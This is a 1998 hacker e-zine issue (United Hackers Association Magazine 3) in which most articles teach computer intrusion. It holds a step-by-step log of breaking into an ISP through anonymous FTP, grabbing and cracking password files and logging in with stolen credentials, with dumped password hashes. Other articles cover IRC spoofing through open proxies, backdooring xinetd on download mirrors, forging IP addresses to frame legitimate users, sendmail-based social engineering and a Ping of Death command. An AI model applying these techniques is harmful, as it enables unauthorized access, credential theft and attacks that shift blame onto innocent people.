Copy Link
Add to Bookmark
Report
United Hackers Association 1 Issue 03
|---------------------------------------------------------------------------|
| -=[ United Hackers Association 1 - Magazine, Issue III ]=- |
| October 01, 1998 |
| E-Mail : uha1@gmx.net |
| Homepage : http://come.to/UHA |
|---------------------------------------------------------------------------|
--->>> THIS IS ISSUE THREE (3) !!!
|---------------------------------------------------------------------------|
| Now its possible to get the United Hackers Association Magazine for |
| FREE into your mailbox! Go to our Homepage and select |
| "Subscribe UHA Newsletter" or subscribe direct: |
| http://www.getreminded.com/GRA/remote.asp?list_id=248942&function=add |
|---------------------------------------------------------------------------|
If you want, post this text on Homepages/BBS/Ftp/Newsgroups etc.
It's free, but please don't change anything without our permission!!
WE ARE NOT RESPONSIBLE FOR ANYTHING YOU DO WITH THIS TEXT FILE OR ANY
TROUBLE YOU GET INTO, OUR ISP OR ANYWHERE ELSE THIS TEXT FILE IS HOSTED
WILL NOT BE RESPONISBLE EITHER.
Index :
1. the full details of hacking into an isp (by RobinsonLaw)
2. IRC IP-Spoofing (by the file ripper)
3. fiReWalls (by Jokers Wild)
4. Denial Of Service (by Jokers Wild)
5. Police Codes (by Jokers Wild)
6. All about Scanners (by AcidMeister)
7. NT fun Tricks (by Mad55)
8. News on the PHF-Technique (by the file ripper)
Editor of this Magazine, Founder/Prezident of UHA : the file ripper
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
=============================================================================
| If you want to publish one of your texts in our Magazine, just |
| mail us your text to : uha1@gmx.net |
| All texts are welcome! |
=============================================================================
!!IMPORTANT!!
--> If you have any QUESTIONS, please don't mail the authors,
--> just go to our Homepage and post a message in our BBS!!!
--> If you have any COMMENTS on this Magazine,
--> please MAIL them to uha1@gmx.net -thanx-
!!IMPORTANT!!
We can manipulate you however we want.
We can read and change your personal datas.
We can take your identity.
Kill your existence.
We can come near to you from everywhere in the world.
You can't escape!
-by the file ripper [Prezident/Founder of UHA]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
1. the full details of hacking into an isp
by RobinsonLaw
robinson@tm.net.my
September 11, 1998
This Text is about how to hack into an isp
This is my own experience on how to get into an isp
i wound't responsible for any arrestment
so please use it wisely.
This text is benefit for all newbies as well as elite hacker.
It will give newbie on the real situation on how
to hack a system .
I'll be using Win98 system for all the activies below.
First let me telnet into an isp add
in here i 'll use a fake isp add
www.xxx.my (our target)
BEGIN HACKING(telnet)
=========================
telnet www.xxx.my(in here i'll use sosial engineering skill)
Digital UNIX (www.xxx.tw)(ttyp6)
login: root
Password:
root login refused on this terminal. (opss wrong)
Login incorrect
login: root (Try again,)
Password:
root login refused on this terminal. (ops wrong again)
Login incorrect
login: xxx (try to use the host name
Password:
Login incorrect
Ops been kick out
never mind let use Ftp and try one more time
BEGIN HACKING (FTP)
========================
ftp www.xxx.my
ftp> Connected to www.xxx.my
220 www.xxx.my FTP server (Digital UNIX Version 5.60) ready.
User (www.xxx.my:(none)): anonymous
password: (use (anonymous)to login
331 Guest login ok, send ident as password. (Ya.Loging in)
230 Guest login ok, access restrictions apply. (password type 333@333.333 will do because it will use ur email add act as the info for the guest)
ftp> (I'm in)
cd /etc (check the directory)
250 CWD command successful.
ftp> ls (Let see what it got?)
200 PORT command successful.
150 Opening ASCII mode data connection for file list (001.02.106.180,1618).
passwd
group
passwd.pag
passwd.dir
226 Transfer complete.
39 bytes received in 0.04 seconds (0.97 Kbytes/sec)
(Okay all together 4 file,let get the password file first)
ftp> get passwd
200 PORT command successful.
550 passwd: Too many levels of symbolic links.
(ops it can't let me in
so i have to get passwd.dir to try )
ftp> get passwd.dir
200 PORT command successful.
150 Opening ASCII mode data connection for passwd.dir (001.02.106.180,1620) (4096 bytes).
226 Transfer complete.
4097 bytes received in 1.81 seconds (2.26 Kbytes/sec)
Passwd.dir successful receive but it seem that the file only 4097bytes,
Something wrong an isp wound't use so small passwd file so
let get another one file "passwd.pag :"to try
ftp> get passwd.pag
200 PORT command successful.
150 Opening ASCII mode data connection for passwd.dir (001.02.106.180,1620) (3518123 bytes).
226 Transfer complete.
3518123 bytes received in 1.81 seconds (2.26 Kbytes/sec)
(OKAY the file is 3.5mb it seem all file i need have finish
now let's quit and rock and roll)
ftp> quit
221 Goodbye.
(Back to windows and use ULTRAEDIT to view the passwd.dir ,
opss all nonsense)
(Let's try view passwd.pag)
Below is the passwd.pag content:
00 00 00 00 00 00 00 00-00 00 00 00 73 6D 69 6C ............2mil
65 00 6A 55 35 74 31 37-33 6F 7A 2E 4C 36 6F 00 e.jU5t173oz.L6o.
B7 14 00 00 1A 00 00 00-00 00 00 00 00 41 75 74 .............Aut
6F 47 65 6E 20 55 73 65-72 00 2F 75 73 72 2F 77 oGen User./usr/w
65 62 2F 4D 65 6D 62 65-72 2F 73 6D 69 6C 65 00 eb/Member/2mile.
2F 62 69 6E 2F 73 68 00-73 6D 69 6C 65 38 33 31 /bin/sh.2mile831
32 00 68 61 6C 66 30 39-00 62 42 58 69 77 43 36 2.2alf09.bBXiwC6
4F 39 45 73 57 6F 00 DA-1E 00 00 1A 00 00 00 00 O9EsWo..........
00 00 00 00 68 61 6C 66-30 39 00 2F 75 73 72 2F ....2alf09./usr/
77 65 62 2F 4D 65 6D 62-65 72 2F 68 61 6C 66 30 web/Member/2alf0
39 00 2F 62 69 6E 2F 73-68 00 68 61 6C 66 30 39 9./bin/sh.2alf09
61 74 69 6D 32 30 30 35-00 38 34 4E 45 73 39 5A atim2005.84NEs9Z
63 66 47 68 55 73 00 81-1E 00 00 1A 00 00 00 00 cfGhUs..........
00 00 00 00 61 74 69 6D-32 30 30 35 00 2F 75 73 ....2tim2005./us
72 2F 77 65 62 2F 4D 65-6D 62 65 72 2F 61 74 69 r/web/Member/2ti
6D 32 30 30 35 00 2F 62-69 6E 2F 73 68 00 61 74 m2005./bin/sh.2t
69 6D 32 30 30 35 6C 63-66 00 4E 79 33 64 74 70 im2005lcf.Ny3dtp
4D 37 74 74 50 4E 55 00-C9 19 00 00 1A 00 00 00 M7ttPNU.........
(See carefully there is an username and login add maybe it related to the
passwd but how can i view the passwd into real format?)
(So i take two days to finish writting a program which transfer
passwd.pag into
Below is a small program .
// Turbo C++ 3.0
#include
#include
int main(void)
{
FILE *in, *out;
char ch;
char buf1[81],buf2[81],buf3[81];
int a,b;
if ((in = fopen("passwd.pag", "rb")) == NULL) {
fprintf(stderr, "Cannot open PASSWD.PAG file.\n");
return 1;
}
if ((out = fopen("passwd","wt")) == NULL) {
fprintf(stderr, "Cannot open output file.\n");
return 1;
}
while (!feof(in))
{
ch=fgetc(in);
if (ch == 0x00) continue;
if (ch <'a') continue; if (ch> 'z') continue;
fseek(in,-1,SEEK_CUR);
while (1) //output name
{
ch = fgetc(in);
if (ch == 0) {
fputc(':',out);
break;
}
if (ch = 127) {
fputc(':',out);
break;
}
fputc(ch,out);
}
while (1) //output passwd
{
ch = fgetc(in);
if (ch == 0)
break;
if (ch = 127)
break;
fputc(ch,out);
}
fseek(in,-1,SEEK_CUR);
fputc(0x0a,out);
}
fclose(in);
fclose(out);
return 0;
}
Below is what it get.
2mile:jU5t173oz.L6o:::::
2alf09:bBXiwC6O9EsWo:::::
2tim2005:s9ZcfGhUs:::::
2cf:y3dtpM7ttPNU:::::
2yr01994:gJSg524Kmys:s::::
2yr01577:hSKqGd3s7wM:::::
2mile:jU5t173oz.L6o:::::
2ohnsons:nK534OyDzEAw2:::::
2ackp:MZpfYEKUKshtA:::::
2aiso:ls2s1XhGbrx9E:::::
2pplehsu:pHIDlYY4fT22:@::::
2icroway:cFevHgbnM.KPU:::::
2icroway:cFevHgbnM.KPU:H:::::
2inmicroway:cFevHgbnM.KPU:::::
2bc65512:/P3627NHzIfQY:::::
2yr00717:eqofRKA335nLc:::::
2ongyf:di8XcsVjYmPLE:::::
2obert:oWv.gp56i/CwY:::::
2enchou:97LcEMNno9FrA:::::
2iyr01171:U8QhYAhdhyUQU:::::
Basic Hacking(cracking passwd)
===============================
In here i'll use John(password cracker)which u could find it anywhre
OK the cracking finish
now below is the result that i get
6monkey (2crack1)
Batman (2crack2)
^^^^^ ^^^^^^
Password UserName
(Now let us connect to the isp to try this username and password)
telnet www.xxx.my
Digital UNIX (www.xxx.my) (ttyp6)
login: 2crack1 (Try the first user name)
Password: 6monkey (key in the password)
Last login: Tue Dec 2 12:50:02 from kkk.ppp.net
Digital UNIX V4.0A (Rev. 464); Thu Sep 25 05:37:09 CST 1997
(Wow Okay i'm in Now let see what it got?)
www.xxx.my> ls
#.mrg...login #.mrg...profile bin public_html
www.xxx.my> cd /etc
www.xxx.my> ls
#.mrg..ddr.dbase group svc.conf
#.mrg..disktab group.dir svcorder
#.mrg..gen_databases group.pag svid2_login
#.mrg..gettydefs group.www svid2_path
#.mrg..inetd.conf hosts svid2_profile
#.mrg..inittab hosts.equiv svid3_login
#.mrg..lprsetup.dat ifaccess.conf svid3_path
#.mrg..magic inet.local svid3_profile
#.mrg..ntp.conf inetd.conf svid3_tz
#.mrg..passwd inittab sysconfigtab
#.mrg..rc.config join sysconfigtab.10
#.mrg..remote lprsetup.dat sysconfigtab.11
#.mrg..rpc magic sysconfigtab.12
#.mrg..services motd sysconfigtab.13
#.mrg..shells namedb sysconfigtab.15
#.mrg..sysconfigtab networks sysconfigtab.17
TIMEZONE nls sysconfigtab.17.5
acucap ntp.conf sysconfigtab.19
autopush.conf ntp.conf.sav sysconfigtab.2
binlog.conf ntp.drift sysconfigtab.20
checklist.desc passwd sysconfigtab.22
csh.login passwd.dir sysconfigtab.23
ddr.db passwd.orig sysconfigtab.27
ddr.dbase passwd.pag sysconfigtab.27.5
dec_devsw_db passwd.www sysconfigtab.28
dec_devsw_db.bak phones sysconfigtab.3
dec_hw_db ppp sysconfigtab.4
dec_hw_db.bak profile sysconfigtab.6
dec_scsi_db protocols sysconfigtab.7
dec_scsi_db.bak rc.config sysconfigtab.9
dhcptab remote sysconfigtab.9.5
disktab resolv.conf sysconfigtab.lite
doprc rmt syslog.conf
dt routes termcap
dvrdevtab rpc ttysrch
exports sec ultrix_login
fdmns securettys ultrix_path
fstab services ultrix_profile
ftpusers shells uucp
gated.conf sia uugettydefs
gated.conf.default slhosts vol
gen_databases snmpd.conf yp
gettydefs strsetup.conf zoneinfo
(Wow too many rubbish just try to find pass* file)
www.xxx.my> ls -al pass*
-rw-r--r-- 1 root system 342301 Dec 2 19:20 passwd
-rw-r--r-- 1 root system 4096 Dec 2 19:15 passwd.dir
-rw-r--r-- 1 root system 736 Sep 27 00:29 passwd.orig
-rw-r--r-- 1 root system 3517440 Dec 2 19:20 passwd.pag
-rw-r--r-- 1 root system 332826 Sep 27 00:17 passwd.www
(okay found the passwd now let see the content)
www.xxx.my> cat passwd (view the password file)
www.xxx.my
root:fyseF6cJG9S.:0:1:system PRIVILEGED account:/:/bin/csh
2obody:*Nologin:65534:65534:anonymous NFS user:/:
2obodyV:*Nologin:60001:60001:anonymous SystemV.4 NFS user:/:
2aemon:*:1:1:system background account:/:
2in:*:3:4:system librarian account:/bin:
2ucp:Nologin:4:2:UNIX-to-UNIX Copy:/usr/spool/uucppublic:/usr/lib/uucp/uucico
2ucpa:Nologin:4:2:uucp adminstrative account:/usr/lib/uucp:
2uth:*:6:11:Authentication Subsystem:/tcb/bin:
2ron:*:7:14:Cron Subsystem:/usr/adm/cron:
2p:*:8:12:Line Printer Subsystem:/users/lp:
2cb:*:9:18:Trusted Computing Base:/tcb:
2dm:*:10:19:Administration Subsystem:/usr/adm:
2is:Nologin:11:21:Remote Installation Services Account:/usr/adm/ris:/bin/sh
2hl:uSGAXIanefQoY:100:0:William:/usr/users/jhl:/bin/ksh
2nmerge:*:0:1:Repair User:/:/bin/sh
2eb:CLQywsSofSPbA:101:26:Web Manager:/usr/web:/bin/sh
2wwmgr:*:103:26:WWW server manager:/usr/users/wwwmgr:/bin/sh
2asswd:tkAD9TL1q9kEE:0:0:/:/dev/null:
2tp:*:1001:31:Anonymous ftp:/usr/users/ftp:/bin/sh
2mykung:SrVpb75.Z.flQ:1007:26:Amy:/usr/web/Member/amykung:/bin/sh
2oohg:sKzx9TWMRApM6:1010:26:Boo:/usr/web/Member/boohg:/bin/sh
2alvin:/mE4b9S2EWPnk:1013:26:Calvin:/usr/web/Member/calvin:/bin/sh
2hanlu:IwEnhtgdygMZ2:1015:26:Chan Lu:/usr/web/Member/chanlu:/bin/sh
(OK hacking sucess we get the real passwd and we get into the sys already)
but i woun't continue to gain root so let me quit)
www.xxx.my> exit
NOTICE=This Method of hacking only could be use on those lamerz isp sys
this isp is poor on its security that's y? it easily been hacked)
passwd
-Many lamerz like to use their username as their password name ,u can try it
out if u find some lamerz username- That's all for now
Please forgive me if u don't understand part of the english above
course i'm a chinese
FROM,
ROBINSONLAW
-=United Hackers Association=-
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
2. IRC IP-Spoofing
by the file ripper
tfr@gmx.net
September 14, 1998
After, I got banned from a IRC-Channel, I decided to spoof my IP and to
enter it over an other server (=proxy server). My only problem was, that
I found no Spoofing-program for IRC, so I had to try it myself (the
best tools for a real Hacker are his hands ...*smile*).
First I scanned for class B and class C domains (=Wingate Server). I used for
this wGateScan v2.2 (avaiable at the UHA Homepage, in the Misc-Section).
After I found a Server (I will later on give a list of IP's to scan)
I tried to use them as a Proxy Server for IRC.
Here are the commands I used for it :
/server <IP>: 23 (connect to the server, after the ":" there
has to be a blank, otherwise it will
automaticly try to connect to port 6667!)
Let's say the Proxy Server, which Server I would like to login.
/raw irc.dal.net 6667
Now, the IDentifaction part. Just put in some shit.
(Note : There have to be 4 words after your Name, otherwise it won't work!)
/raw user = Evil test1 test2 test3 test4
Now, the most important part *smile* ... my nickname.
/raw nick EvilsHell
Note : This way is often used by IRC-IP-Spoofers. So why do you download some
shitty program, that might also have a trojan in it? You can do it yourself!
Hint : Try to scan the following IP's !
38.12.41.xxx
209.30.57.xxx
24.129.28.xxx
166.55.240.xxx
192.115.83.xxx
204.245.58.xxx
209.149.88.xxx
209.36.105.xxx
195.186.19.xxx
201.30.157.xxx
194.95.202.xxx
207.180.22.xxx
210.154.31.xxx
208.254.253.xxx
152.202.162.xxx
Have phun!
c ya
-the file ripper [UHA]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
3. fiReWalls
by Jokers Wild
jokers_wild@mindspring.com
September 18, 1998
FIREWALLS
With each new company that connects to the "Information Superhighway"
new frontiers are created for crackers to explore. Site administrators
(Siteads) have implemented various security measures to protect their
internal networks. One of these is xinetd, covered later.
A more general solution is to construct a guarded gateway, called
a [Firewall], that sits between a site's internal network and the
wild and woolly Internet where we roam. In fact only one third
of all Internet connected machines are already behind firewalls.
Most information services have to deal with the same problem
we have: getting OUT through a local firewall or GETTING INTO
a service through their
Firewall. There lays also the crack_solution.
What is a Firewall?
The main purpose of a Firewall is to prevent unauthorized
access between networks. Generally this means protecting a site's
inner network from the Internet. If a site has a firewall,
decisions have been made as to what is allowed and disallowed
across the firewall. These decisions are always different and
always incomplete, given the multiplicity of Internet, there are
always loopholes where a cracker can capitalize on.
A firewall basically works by examining the IP packets that
travel between the server and the client. This provides a way to
control the information flow for each service by IP address, by
port and in each direction.
A firewall embodies a "stance". The stance of a firewall
describes the trade-off between security and ease-of-use. A
stance of the form "that which is not expressly permitted is
prohibited" requires that each new service be enabled
individually and is seldom used, coz very slow and annoying.
Conversely, the stance "that which is not expressly prohibited
is permitted" has traded a level of security for convenience. It
will be useful to guess the stance of the firewall you are
cracking when making probe decisions.
A firewall has some general responsibilities:
* First and foremost if a particular action is not allowed by
the policy of the site, the firewall must make sure that all
attempts to perform the action will fail.
* The firewall should log suspicious events
* The firewall should alert internal administration of all
cracking attempts
* Some firewall provide usage statistics as well.
Types of Firewall
In order to avoid head-scratching, it's a good idea to know
the TOPOLOGY of "your" firewall -and its limitations- before
attempting to get through it. Discussed below are two popular
firewall topologies. Although other types exist, the two below
represent the basic forms; most other firewalls employ the same
concepts and thus have -luckily- the same limitations.
1) THE DUAL-HOMED GATEWAY
A dual-homed Gateway is a firewall composed of a single
system with at least two network interfaces. This system is
normally configured such that packets are not directly routed
from one network (the Internet) to the other (the internal net
you want to crack). Machines on the Internet can talk to the
gateway, as can machines on the internal network, but direct
traffic between nets is blocked.
In discussing firewalls, it's generally accepted that you
should think of the inner network as a medieval castle. The
"bastions" of a castle are the critical points where defence is
concentrated. In a dual-homed gateway topology, the dual-homed
host itself is called the [BASTION HOST].
The main disadvantage of a dual-homed gateway, from the
viewpoints of the users of the network and us crackers alike, is
the fact that it blocks direct IP traffic in both directions. Any
programs running on the inner network that require a routed path
to external machines will not function in this environment. The
services on the internal network don't have a routed path to the
clients outside. To resolve these difficulties, dual-homed
gateways run programs called [PROXIES] to forward application
packets between nets. A proxy controls the conversation between
client and server processes in a firewalled environment. Rather
than communicating directly, the client and the server both talk
to the proxy, which is usually running on the bastion host
itself. Normally the proxy is transparent to the users.
A proxy on the bastion host does not just allow free rein
for certain services. Most proxy software can be configured to
allow or deny forwarding based on source or destination addresses
or ports. Proxies may also require authentication of the
requester using encryption- or password-based systems.
The use of proxy software on the bastion host means that the
firewall administrator has to provide replacements for the
standard networking clients, a nightmare in heterogeneous
environments (sites with many different operating systems
platforms, PC, Sun, IBM, DEC, HP...) and a great burden for
administrator and users alike.
2) THE SCREENED HOST GATEWAY
A screened host gateway is a firewall consisting of at least
one router and a bastion host with a single network interface.
The router is typically configured to block (screen) all traffic
to the internal net such that the bastion host is the only
machine that can be reached from the outside. Unlike the dual-
homed gateway, a screened host gateway does not necessarily force
all traffic through the bastion host; through configuration of
the screening router, it's possible to open "holes" in the
firewall to the other machines on the internal net you want to
get into.
The bastion host in a screened host firewall is protected
from the outside net by the screening router. The router is
generally configured to only allow traffic FROM SPECIFIC PORTS
on the bastion host. Further, it may allow that traffic only FROM
SPECIFIC EXTERNAL HOSTS. For example the router may allow Usenet
news traffic to reach the bastion host ONLY if the traffic
originated from the site's news provider. This filtering can be
easily cracked: it is relying on the IP address of a remote
machine, which can be forged.
Most sites configure their router such that any connection
(or a set of allowed connections) initiated from the inside net
is allowed to pass. This is done by examining the SYN and ACK
bits of TCP packets. The "start of connection" packet will have
both bits set. If this packets source address is internal... or
seems to be internal :-) the packet is allowed to pass. This
allows users on the internal net to communicate with the internet
without a proxy service.
As mentioned, this design also allows "holes" to be opened
in the firewall for machines on the internal net. In this case
you can crack not only the bastion host, but also the inner
machine offering the service. Mostly this or these machine/s will
be far less secure than the bastion host.
New services, for instance recent WEB services, contain a
lot of back doors and bugs, that you'll find in the appropriate
usenet discussion groups, and that you could use at freedom to
crack inner machines with firewall holes. Sendmail is a good
example of how you could crack in this way, read the whole
related history... very instructive. The rule of thumb is "big
is good": the bigger the software package, the more chance that
we can find some security related bugs... and all packages are
huge nowadays, 'coz the lazy bunch of programmers uses
overbloated, buggy and fatty languages like Visual Basic or
Delphy!
Finally, remember that the logs are 'mostly) not on the bastion
host! Most administrators collect them on an internal machine not
accessible from the Internet. An automated process scan the logs
regularly and reports suspicious information.
3) OTHER FIREWALL TOPOLOGIES
The dual-homed gateway and the screened host are probably the
most popular, but by no mean the only firewall topologies. Other
configurations include the simple screening router (no bastion
host), the screened subnet (two screening routers and a bastion
host) as well as many commercial vendor solutions.
Which software should we study?
Three popular unix software solutions allow clients inside a
firewall to communicate with server outside: CERN Web server in
proxy mode, SOCKS and the TIS Firewall toolkit.
1) The CERN Web server handles not only HTTP but also the other
protocols that Web clients use and makes the remote connections,
passing the information back to the client transparently. X-based
Mosaic can be configured for proxy mode simply by setting a few
environment variables.
2) The SOCKS package (available free for anonymous ftp from
ftp.nec.com in the file
/pub/security/socks.cstc/socks.cstc.4.2.tar.gz
includes a proxy server that runs on the bastion host of a
firewall. The package includes replacements for standard IP
socket calls such as connect(), getsockname(), bind(), accept(),
listen() and select(). In the package there is a library which
can be used to SOCKSify your crack probes.
3) The Firewall Toolkit
The toolkit contains many useful tools for cracking firewall and
proxy server. netacl can be used in inetd.conf to conceal
incoming requests against an access table before spawning ftpd,
httpd or other inetd-capable daemons. Mail will be stored in a
chroot()ed area of the bastion for processing (mostly by
sendmail).
The Firewall toolkit is available for free, in anonymous ftp from
ftp.tis.com in the file
/pub/firewalls/toolkit/fwtk.tar.Z
The popular PC firewall solution is the "PC Socks Pack", for MS-
Windows, available from ftp.nec.com It includes a winsock.dll
file.
The cracking attempts should concentrate on ftpd, normally
located on the bastion host. It's a huge application, necessary
to allow anonymous ftp on and from the inner net, and full of
bugs and back doors. Normally, on the bastion host, ftpd is
located in a chroot()ed area and runs as nonprivileged user. If
the protection is run from an internal machine (as opposing the
bastion host), you could take advantage of the special inner-net
privileges in hostp.equiv or .rhosts. If the internal machine
"trusts" the server machine, you'll be in pretty easily.
Another good method, that really works, is to locate your
PC physically somewhere along the route between network and
archie server and "spoof" the firewall into believing that you
are the archie server. You'll need the help of a fellow hacker
for this, though.
Remember that if you gain supervisor privileges on a machine
you can send packets from port 20, and that in a screened host
environment, unless FTP is being used in proxy mode, the access
filters allow often connections from any external host if the
source port is 20 and the destination port is greater than 1023!
remember that NCSA Mosaic uses several protocols, each on
a different port, and that -if on the firewall no proxy Web
server is operating- each protocol must be dealt with
individually, what lazy administrators seldom do.
Be careful for TRAPS: networking clients like telnet and ftp
are often viciously replaced with programs that APPEAR to execute
like their namesake, but actually email an administrator. A
fellow cracker was almost intercepted, once, by a command that
simulated network delays and spat out random error messages in
order to keep me interested long enough to catch me. Read the
(fictions) horror story from Bill Cheswick: "An evening with
Berferd in which a cracked is lured, endured and studied",
available from ftp.research.att.com in
/dist/internet_security/berferd.ps
As usual, all kind of traps can be located and uncovered by
correct zen-cracking: you must *FEEL* that some code (or that
some software behaviour) is not "genuine". Hope you believe me
and learn it before attempting this kind of cracks.
INTERNET CRACKING: XINETD
[Xinetd] a freely available enhanced replacement for the
internet service daemon inetd, allows just those particular users
to have FTP or Telnet access, without opening up access to the
world. Xinetd can only protect the system from intrusion by
controlling INITIAL access to most system services and by logging
activities so that you can detect break-in attempts. However,
once a connection has been allowed to a service, xinetd is out
of the picture. It cannot protect against a server program that
has security problems internally. For example, the finger server
had a bug several years ago that allowed a particularly clever
person to overwrite part of its memory. This was used to gain
access to many systems. Even placing finger under the control of
xinetd wouldn't have helped.
Think of the secured firewall system as a fortress wall:
each service that is enabled for incoming connections can be
viewed as a door or window in the walls. Not all these doors have
secure and reliable locks. The more openings are available, the
more opportunities are open for us.
What xinetd does
Xinetd listens to all enabled service ports and permits only
those incoming connection request that meet authorization
criteria.
- Accept connections from only certain IP addresses
- Accept connections only from authorized users
- Reject connections outside of aithorized hours
- Log selected service when connections are accepted or
rejected, capturing following informations:
* Remote Host Address
* User ID of remote user (in some cases)
* Entry and Exit time
* Terminal type
Support login, shell, exec and finger
SERVICES TO CRACK &
UNWITTING INSIDE COMPLICES
In this order the easy services:
FTP TELNET LOGIN (rlogin) SHELL (rcmd) EXEC
In this order the more difficult ones:
MOUNT TFT FINGER NFS(Network File System)
DNS(Domain Name Service)
Remember that sendmail (SMTP), by default, accepts a message from
any incoming connection. The "sender" of such a message can
appear to have originated anywhere, therefore your claim of
identity will be accepted! Thus you can forge a message's
originator. Most of the recipients inside the protected
(firewalled) net will take your claim at face value and send you
(to the "return address" you provide) all the sensitive
information you need to crack the system. Finding unwitting
inside complices is most of the time pretty easy.
By far the best method, for entering xinetd, is to get the
real version from panos@cs.colorado.edu, modify the system files
in order to have some backdoors, and then distribute them to the
mirror servers on the WEB. Each time a new administrator will
download "your" version of xinetd, you'll have an easy access to
the "protected" system.
On the Nets, it's important to conceal your identity (they
will find you out pretty quickly if you do not). The best method
is to obtain the IP address of a legitimate workstation during
normal hours. Then, late at night, when the workstation is known
to be powered-off or disconnected from a dialup PPP link, a
different node on the network can be configured to use the
counterfeit IP address. To everyone on the network, it will
appear that the "legitimate" user is active. If you follow this
strategy, you may want to crack somehow more negligently... the
search for the cracker will go on -later- in the false confidence
that a sloppy novice (the legitimate user) is at work, this will
muddle the waters a little more.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
4. Denial Of Service
by Jokers Wild
jokers_wild@mindspring.com
September 19, 1998
I personally love these attacks because sometimes, you can crash a program
that was keeping the persons net secure.....means helps you hack.
Now Unix is much more easy to exploit than win, because unix is more
complicated, therefor opening up new holes to hack!.....
But, the Unix Op is MUCH more experienced that a Microsoft Op.
SOME BASIC TARGETS FOR AN ATTACK
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A.1. SWAP SPACE
----------------
Most systems have several hundred Mbytes of swap space to
service client requests. The swap space is typical used
for forked child processes which have a short life time.
The swap space will therefore almost never in a normal
cause be used heavily. A denial of service could be based
on a method that tries to fill up the swap space.
A.2. BANDWIDTH
---------------
If the bandwidth is to high the network will be useless. Most
denial of service attack influence the bandwidth in some way.
A.3. RAM
---------
A D.O.S attack that allocates a large amount of RAM
can make a great deal of problems. NFS and mail servers are
actually extremely sensitive because they do not need much
RAM and therefore often don't have much RAM. An attack at
a NFS server is trivial. The normal NFS client will do a
great deal of caching, but a NFS client can be anything
including the program you wrote yourself...
A.4. CACHES
-------------
A D.O.S attack involving caches can be based on a method
to block the cache or to avoid the cache.
These caches are found on Solaris 2.X:
Directory name lookup cache: Associates the name of a file with a vnode.
Inode cache: Cache information read from disk in case it is needed
again.
Rnode cache: Holds information about the NFS filesystem.
Buffer cache: Cache inode indirect blocks and cylinders to realed disk
I/O.
The Problem:
Large packet pings (PING -l 65527 -s 1 hostname) wonderfully known as
'Ping of Death' can cause a blue screen of death on 3.51 systems:
STOP: 0X0000001E
KMODE_EXCEPTION_NOT_HANDLED - TCPIP.SYS
-OR-
STOP: 0x0000000A
IRQL_NOT_LESS_OR_EQUAL - TCPIP.SYS
NT 4.0 is vunerable sending large packets, but does not crash on receiving
large packets.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
5. Police Codes
by Jokers Wild
jokers_wild@mindspring.com
September 26, 1998
Ever wonder what those codes you here are when you are scanning the police
band with your home-scanner? Well for those that are interested here they are.
Code A - No rain expected
Code B - Rain expected
Code 1 - Answer on radio
Code 2 - Proceed immediately w/o siren
Code 3 - Proceed w/ siren and red lights
Code 4 - No futher assistance neccesary
Code 4A - No futher assistance is neccesary, but suspect is not in custody
Code 5 - Uniformed officers stay away
Code 6 - Out of car to investigate
Code 6A - Out of car to investigate, assistance may be needed
Code 6C - Suspect is wanted and may be dangerous
Code 7 - Out for lunch
Code 8 - Fire alarm
Code 9 - Jail break
Code 10 - Request clear frequency
Code 12 - False alarm
Code 13 - Major disaster activation
Code 14 - Resume normal operations
Code 20 - Notify news media to respond
Code 30 - Burglar alarm ringing
Code 33 - Emergency! All units stand by
Code 99 - Emergency!
Code 100 - In position to intercept
187 - Homicide
207 - Kidnapping
207A - Kidnapping attempt
211 - Armed robbery
217 - Assault w/ intent to murder
220 - Attempted rape
240 - Assault
242 - Battery
245 - Assault w/ a deadly weapon
261 - Rape
261A - Attempted rape
288 - Lewd conduct
311 - Indecent exposure
314 - Indecent exposure
390 - Drunk
390D - Drunk unconcious
415 - Disturbance
415C - Disturbance, children invovled
415E - Disturbance, loud music or party
415F - Disturbance, family
415G - Disturbance, gang
417 - Person w/ a gun
459 - Burglary
459A - Burglar alarm ringing
470 - Forgery
480 - Hit-and-run (Felony)
481 - Hit-and-run (Misdemeanor)
484 - Petty theft
484PS - Purse snatch
487 - Grand theft
488 - Petty theft
502 - Drunk Driving
503 - Auto theft
504 - Tampering w/ vehicle
505 - Reckless driving
507 - Public nuisance
586 - Illegal parking
586E - Vehicle blocking driveway
594 - Malicious mischief
595 - Runaway car
647 - Lewd conduct
901 - Ambulance call/accident, injuries unk.
901A - Ambulance call - attempted suicide
901H - Ambulance call - dead body
901K - Ambulance has been dispatched
901L - Ambulance call - narcotics overdose
901N - Ambulance requested
901S - Ambulance call - shooting
901T - Ambulance call - trafic accident
901Y - Request ambulance if needed
902 - Accident
902H - Enroute to hospital
902M - Medical aid requested
902T - Trafic accident - non-injury
903 - Aircraft crash
903L - Low flying aircraft
904A - Fire alarm
904B - Brush fire/Boat fire
904C - Car fire
904F - Forest fire
904G - Grass fire
904I - Illegal burning
904S - Structure fire
905B - Animal bite
905N - Noisy animal
905S - Stray animal
905V - Vicious animal
906K - Rescue dispatched
906N - Rescue requested
907 - Minor disturbance
907A - Loud radio or TV
907B - Ball game in street
907K - Paramedics dispatched
907N - Paramedics requested
907Y - Are paramedics needed?
908 - Begging
909 - Trafic congestion
909B - Road blockade
909F - Flares needed
909T - Trafic hazard
910 - Can you handle?
911 - Advise party
911B - Contact informant/Contact officer
912 - Are we clear?
913 - You are clear
914 - Request detectives
914A - Attempted suicide
914C - Request coroner
914D - Request doctor
914F - Request fire dept.
914H - Heart attack
914N - Concerned party notified
914S - Suicide
915 - Dumping rubbish
916 - Holding suspect
917A - Abandoned vehicle
917P - Hold vehicle for fingerprints
918A - Escaped mental patient
918V - Violent mental patient
919 - Keep the peace
920 - Missing adult
920A - Found adult/Missing adult
920C - Missing child
920F - Found child
920J - Missing juvenile
921 - Prowler
921P - Peeping Tom
922 - Illegal peddling
924 - Station detail
925 - Suspicious person
926 - Request tow truck
